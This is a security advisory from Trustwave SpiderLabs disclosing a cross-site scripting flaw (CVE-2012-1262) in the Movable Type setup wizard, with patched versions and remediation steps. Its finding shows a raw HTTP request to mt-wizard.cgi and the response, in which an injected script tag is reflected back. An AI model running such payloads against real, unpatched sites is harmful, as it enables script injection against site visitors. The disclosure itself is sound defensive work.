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Movable Type Publishing Platform Cross Site Scripting

Movable Type Publishing Platform Cross Site Scripting
Posted Feb 24, 2012
Authored by Jonathan Claudius | Site trustwave.com

Movable Type Publishing Platform versions prior to 5.13, 5.07, and 4.38 are affected by a cross site scripting vulnerability. After extracting the Moveable Type CGI files and source files on to a web server, but before the application is fully installed, cross site scripting vulnerabilities are present in the '/cgi-bin/mt/mt-wizard.cgi' page.

tags | exploit, web, cgi, vulnerability, xss
advisories | CVE-2012-1262
SHA-256 | 8884fca39476f536426dc043e4acf681f4550bb0e135c0d0de6141a9f1920af3

Movable Type Publishing Platform Cross Site Scripting

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Trustwave's SpiderLabs Security Advisory TWSL2012-003:
Cross-Site Scripting Vulnerability in Movable Type Publishing Platform


Published: 2012-02-24
Version: 1.0

Vendor: Six Apart (http://movabletype.org/)
Product: Movable Type
Version affected: Versions prior to 5.13, 5.07, and 4.38

Product description:
Movable Type is a weblog publishing system developed by the company Six
Apart. The software supports static page generation and includes
functionality, such as managing files, user roles, templates, tags,
categories, and trackback links.

Credit: Jonathan Claudius of Trustwave SpiderLabs

Finding 1: Cross-Site Scripting Vulnerability
CVE: CVE-2012-1262

After extracting the Moveable Type CGI files and source files on to a web
server, but before the application is fully installed, cross-site scripting
vulnerabilities are present in the '/cgi-bin/mt/mt-wizard.cgi' page.


Performing XSS on "dbuser" parameter


POST /cgi-bin/mt/mt-wizard.cgi HTTP/1.1
Host: A.B.C.D
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:8.0.1) Gecko/20100101 Firefox/8.0.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip, deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Proxy-Connection: keep-alive
Referer: http://A.B.C.D/cgi-bin/mt/mt-wizard.cgi
Content-Type: application/x-www-form-urlencoded
Content-Length: 216



<p>Connection error: Access denied for user '<script>alert('123')</script>'@'localhost' (using password: YES) at /var/www/cgi-bin/mt/extlib/Data/ObjectDriver/Driver/BaseCache.pm line 320

Vendor Response: These issues have been addressed as of versions 5.13, 5.07, and 4.38.

Remediation Steps: Customers should update to the latest version of Movable
publishing platform in order to address these issues. The above issues have
been corrected in versions 5.13, 5.07, and 4.38.

Revision History:
01/11/12 - Vulnerability disclosed
02/21/12 - Patch released
02/24/12 - Advisory published

1. http://www.movabletype.org/2012/02/movable_type_513_507_and_438_security_updates.html

About Trustwave:
Trustwave is the leading provider of on-demand and subscription-based
information security and payment card industry compliance management
solutions to businesses and government entities throughout the world. For
organizations faced with today's challenging data security and compliance
environment, Trustwave provides a unique approach with comprehensive
solutions that include its flagship TrustKeeper compliance management
software and other proprietary security solutions. Trustwave has helped
thousands of organizations--ranging from Fortune 500 businesses and large
financial institutions to small and medium-sized retailers--manage
compliance and secure their network infrastructure, data communications and
critical information assets. Trustwave is headquartered in Chicago with
offices throughout North America, South America, Europe, Africa, China and
Australia. For more information, visit https://www.trustwave.com

About Trustwave's SpiderLabs:
SpiderLabs(R) is the advanced security team at Trustwave focused on
application security, incident response, penetration testing, physical
security and security research. The team has performed over a thousand
incident investigations, thousands of penetration tests and hundreds of
application security tests globally. In addition, the SpiderLabs Research
team provides intelligence through bleeding-edge research and proof of
concept tool development to enhance Trustwave's products and services.

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